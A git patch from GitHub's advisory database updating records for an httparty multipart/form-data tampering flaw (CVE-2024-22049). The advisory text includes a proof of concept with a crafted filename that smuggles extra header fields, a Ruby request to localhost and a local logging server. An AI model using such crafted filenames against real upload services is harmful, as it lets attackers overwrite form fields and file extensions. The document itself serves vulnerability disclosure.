From a2ba2544df8730085ae85a0e6b2a3975406968be Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Fri, 5 Jan 2024 15:35:00 +0000 Subject: [PATCH] Publish Advisories GHSA-5pq7-52mg-hr42 GHSA-g47j-3m2m-74qv GHSA-g47j-3m2m-74qv --- .../GHSA-5pq7-52mg-hr42.json | 8 ++- .../GHSA-g47j-3m2m-74qv.json | 71 +++++++++++++++++++ .../GHSA-g47j-3m2m-74qv.json | 51 ------------- 3 files changed, 77 insertions(+), 53 deletions(-) create mode 100644 advisories/github-reviewed/2024/01/GHSA-g47j-3m2m-74qv/GHSA-g47j-3m2m-74qv.json delete mode 100644 advisories/unreviewed/2024/01/GHSA-g47j-3m2m-74qv/GHSA-g47j-3m2m-74qv.json diff --git a/advisories/github-reviewed/2023/01/GHSA-5pq7-52mg-hr42/GHSA-5pq7-52mg-hr42.json b/advisories/github-reviewed/2023/01/GHSA-5pq7-52mg-hr42/GHSA-5pq7-52mg-hr42.json index a7f2eb2e0c2..317e13d3f4b 100644 --- a/advisories/github-reviewed/2023/01/GHSA-5pq7-52mg-hr42/GHSA-5pq7-52mg-hr42.json +++ b/advisories/github-reviewed/2023/01/GHSA-5pq7-52mg-hr42/GHSA-5pq7-52mg-hr42.json @@ -1,10 +1,10 @@ { "schema_version": "1.4.0", "id": "GHSA-5pq7-52mg-hr42", - "modified": "2023-01-03T13:36:46Z", + "modified": "2024-01-05T15:32:51Z", "published": "2023-01-03T13:36:46Z", "aliases": [ - + "CVE-2024-22049" ], "summary": "httparty has multipart/form-data request tampering vulnerability", "details": "### Impact\nI found \"multipart/form-data request tampering vulnerability\" caused by Content-Disposition \"filename\" lack of escaping in httparty.\n\n`httparty/lib/httparty/request` > `body.rb` > `def generate_multipart`\n\nhttps://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43\n\nBy exploiting this problem, the following attacks are possible\n\n* An attack that rewrites the \"name\" field according to the crafted file name, impersonating (overwriting) another field.\n* Attacks that rewrite the filename extension at the time multipart/form-data is generated by tampering with the filename\n\nFor example, this vulnerability can be exploited to generate the following Content-Disposition.\n\n> Normal Request example:\n> normal input filename: `abc.txt`\n> \n> generated normal header in multipart/form-data\n> `Content-Disposition: form-data; name=\"avatar\"; filename=\"abc.txt\"`\n \n> Malicious Request example\n> malicious input filename: `overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt`\n> \n> generated malicious header in multipart/form-data:\n> `Content-Disposition: form-data; name=\"avatar\"; filename=\"overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt\"`\n\nThe Abused Header has multiple name ( `avatar` & `foo` ) fields and the \"filename\" has been rewritten from `*.txt` to `*.sh` .\n\nThese problems can result in successful or unsuccessful attacks, depending on the behavior of the parser receiving the request.\nI have confirmed that the attack succeeds, at least in the following frameworks\n\n * Spring (Java)\n * Ktor (Kotlin)\n * Ruby on Rails (Ruby)\n\nThe cause of this problem is the lack of escaping of the `\"` (Double-Quote) character in Content-Disposition > filename.\n\nWhatWG's HTML spec has an escaping requirement.\n\nhttps://html.spec.whatwg.org/#multipart-form-data\n\n> For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence `%0A`, 0x0D (CR) with `%0D` and 0x22 (\") with `%22`. The user agent must not perform any other escapes.\n\n\n\n### Patches\n\nAs noted at the beginning of this section, encoding must be done as described in the HTML Spec.\n\nhttps://html.spec.whatwg.org/#multipart-form-data\n\n> For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence `%0A`, 0x0D (CR) with `%0D` and 0x22 (\") with `%22`. The user agent must not perform any other escapes.\n\nTherefore, it is recommended that Content-Disposition be modified by either of the following\n\n> Before:\n> `Content-Disposition: attachment;filename=\"malicious.sh\";dummy=.txt`\n\n> After:\n> `Content-Disposition: attachment;filename=\"%22malicious.sh%22;dummy=.txt\"`\n\nhttps://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43\n\n```\nfile_name.gsub('\"', '%22')\n```\n\nAlso, as for `\\r`, `\\n`, URL Encode is not done, but it is not newlines, so it seemed to be OK.\nHowever, since there may be omissions, it is safer to URL encode these as well, if possible.\n( `\\r` to `%0A` and `\\d` to `%0D` ) \n\n### PoC\n\n#### PoC Environment\n\nOS: macOS Monterey(12.3)\nRuby ver: ruby 3.1.2p20 \nhttparty ver: 0.20.0\n(Python3 - HTTP Request Logging Server)\n\n### PoC procedure\n\n\n(Linux or MacOS is required. \nThis is because Windows does not allow file names containing `\"` (double-quote) .)\n\n1. Create Project \n```\n$ mkdir my-app\n$ cd my-app\n$ gem install httparty\n```\n\n2. Create malicious file\n\n```\n$ touch 'overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt'\n```\n\n3. Generate Vuln code\n\n```\n$ vi example.rb\n```\n\n```\nrequire 'httparty'\n\nfilename = 'overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt'\n\nHTTParty.post('http://localhost:12345/',\n body: {\n name: 'Foo Bar',\n email: 'example@email.com',\n avatar: File.open(filename)\n }\n)\n```\n\n\n4. Run Logging Server\n\nI write Python code, but any method will work as long as you can see the HTTP Request Body.\n(e.g. Debugger, HTTP Logging Server, Packet Capture) \n\n\n$ vi logging.py\n```\nfrom http.server import HTTPServer\nfrom http.server import BaseHTTPRequestHandler\n\nclass LoggingServer(BaseHTTPRequestHandler):\n\n def do_POST(self):\n self.send_response(200)\n self.end_headers()\n self.wfile.write(\"ok\".encode(\"utf-8\"))\n\n content_length = int(self.headers['Content-Length'])\n post_data = self.rfile.read(content_length)\n print(\"POST request,\\nPath: %s\\nHeaders:\\n%s\\n\\nBody:\\n%s\\n\",\n str(self.path), str(self.headers), post_data.decode('utf-8'))\n self.wfile.write(\"POST request for {}\".format(self.path).encode('utf-8'))\n\nip = '127.0.0.1'\nport = 12345\n\nserver = HTTPServer((ip, port), LoggingServer)\nserver.serve_forever()\n```\n\n$ python logging.py\n\n\n5. Run & Logging server\n\n```\n$ run example.rb\n```\n\nReturn Request Header & Body:\n\n> User-Agent: Ruby\n> Content-Type: multipart/form-data; boundary=------------------------F857UcxRc2J1zFOz\n> Connection: close\n> Host: localhost:12345\n> Content-Length: 457\n> \n> --------------------------F857UcxRc2J1zFOz\n> Content-Disposition: form-data; name=\"name\"\n> \n> Foo Bar\n> --------------------------F857UcxRc2J1zFOz\n> Content-Disposition: form-data; name=\"email\"\n> \n> example@email.com\n> --------------------------F857UcxRc2J1zFOz\n> Content-Disposition: form-data; name=\"avatar\"; filename=\"overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt\"\n> Content-Type: text/plain\n> \n> abc\n> --------------------------F857UcxRc2J1zFOz--\n\n\nContent-Disposition:\n> Content-Disposition: form-data; name=\"avatar\"; filename=\"overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt\"\n\n* name fields is duplicate (avator & foo)\n* filename & extension tampering ( .txt --> .sh )\n\n\n\n\n### References\n\n1. I also include a similar report that I previously reported to Firefox.\nhttps://bugzilla.mozilla.org/show_bug.cgi?id=1556711\n\n\n2. I will post some examples of frameworks that did not have problems as reference.\n\nGolang\nhttps://github.com/golang/go/blob/e0e0c8fe9881bbbfe689ad94ca5dddbb252e4233/src/mime/multipart/writer.go#L144\n\nSpring\nhttps://github.com/spring-projects/spring-framework/blob/4cc91e46b210b4e4e7ed182f93994511391b54ed/spring-web/src/main/java/org/springframework/http/ContentDisposition.java#L259-L267\n\nSymphony\nhttps://github.com/symfony/symfony/blob/123b1651c4a7e219ba59074441badfac65525efe/src/Symfony/Component/Mime/Header/ParameterizedHeader.php#L128-L133\n\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [kumagoro_alice@yahoo.co.jp](mailto:kumagoro_alice@yahoo.co.jp)\n", @@ -43,6 +43,10 @@ "type": "WEB", "url": "https://github.com/jnunemaker/httparty/security/advisories/GHSA-5pq7-52mg-hr42" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22049" + }, { "type": "WEB", "url": "https://github.com/jnunemaker/httparty/commit/cdb45a678c43e44570b4e73f84b1abeb5ec22b8e" diff --git a/advisories/github-reviewed/2024/01/GHSA-g47j-3m2m-74qv/GHSA-g47j-3m2m-74qv.json b/advisories/github-reviewed/2024/01/GHSA-g47j-3m2m-74qv/GHSA-g47j-3m2m-74qv.json new file mode 100644 index 00000000000..5cb6eb49e4f --- /dev/null +++ b/advisories/github-reviewed/2024/01/GHSA-g47j-3m2m-74qv/GHSA-g47j-3m2m-74qv.json @@ -0,0 +1,71 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-g47j-3m2m-74qv", + "modified": "2024-01-05T15:32:43Z", + "published": "2024-01-04T21:30:24Z", + "withdrawn": "2024-01-05T15:32:43Z", + "aliases": [ + + ], + "summary": "Duplicate Advisory: httparty has multipart/form-data request tampering vulnerability", + "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-5pq7-52mg-hr42. This link is maintained to preserve external references.\n\n### Original Description\nhttparty before 0.21.0 is vulnerable to an assumed-immutable web parameter vulnerability. A remote and unauthenticated attacker can provide a crafted filename parameter during multipart/form-data uploads which could result in attacker controlled filenames being written.\n\n", + "severity": [ + + ], + "affected": [ + { + "package": { + "ecosystem": "RubyGems", + "name": "httparty" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "0.20.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/jnunemaker/httparty/security/advisories/GHSA-5pq7-52mg-hr42" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22049" + }, + { + "type": "WEB", + "url": "https://github.com/jnunemaker/httparty/commit/cdb45a678c43e44570b4e73f84b1abeb5ec22b8e" + }, + { + "type": "ADVISORY", + "url": "https://github.com/advisories/GHSA-5pq7-52mg-hr42" + }, + { + "type": "WEB", + "url": "https://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43" + }, + { + "type": "WEB", + "url": "https://vulncheck.com/advisories/vc-advisory-GHSA-5pq7-52mg-hr42" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-472" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2024-01-05T15:32:43Z", + "nvd_published_at": "2024-01-04T21:15:10Z" + } +} \ No newline at end of file diff --git a/advisories/unreviewed/2024/01/GHSA-g47j-3m2m-74qv/GHSA-g47j-3m2m-74qv.json b/advisories/unreviewed/2024/01/GHSA-g47j-3m2m-74qv/GHSA-g47j-3m2m-74qv.json deleted file mode 100644 index 4627b948a47..00000000000 --- a/advisories/unreviewed/2024/01/GHSA-g47j-3m2m-74qv/GHSA-g47j-3m2m-74qv.json +++ /dev/null @@ -1,51 +0,0 @@ -{ - "schema_version": "1.4.0", - "id": "GHSA-g47j-3m2m-74qv", - "modified": "2024-01-04T21:30:24Z", - "published": "2024-01-04T21:30:24Z", - "aliases": [ - "CVE-2024-22049" - ], - "details": "httparty before 0.21.0 is vulnerable to an assumed-immutable web parameter vulnerability. A remote and unauthenticated attacker can provide a crafted filename parameter during multipart/form-data uploads which could result in attacker controlled filenames being written.\n\n", - "severity": [ - - ], - "affected": [ - - ], - "references": [ - { - "type": "WEB", - "url": "https://github.com/jnunemaker/httparty/security/advisories/GHSA-5pq7-52mg-hr42" - }, - { - "type": "ADVISORY", - "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22049" - }, - { - "type": "WEB", - "url": "https://github.com/jnunemaker/httparty/commit/cdb45a678c43e44570b4e73f84b1abeb5ec22b8e" - }, - { - "type": "ADVISORY", - "url": "https://github.com/advisories/GHSA-5pq7-52mg-hr42" - }, - { - "type": "WEB", - "url": "https://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43" - }, - { - "type": "WEB", - "url": "https://vulncheck.com/advisories/vc-advisory-GHSA-5pq7-52mg-hr42" - } - ], - "database_specific": { - "cwe_ids": [ - "CWE-472" - ], - "severity": null, - "github_reviewed": false, - "github_reviewed_at": null, - "nvd_published_at": "2024-01-04T21:15:10Z" - } -} \ No newline at end of file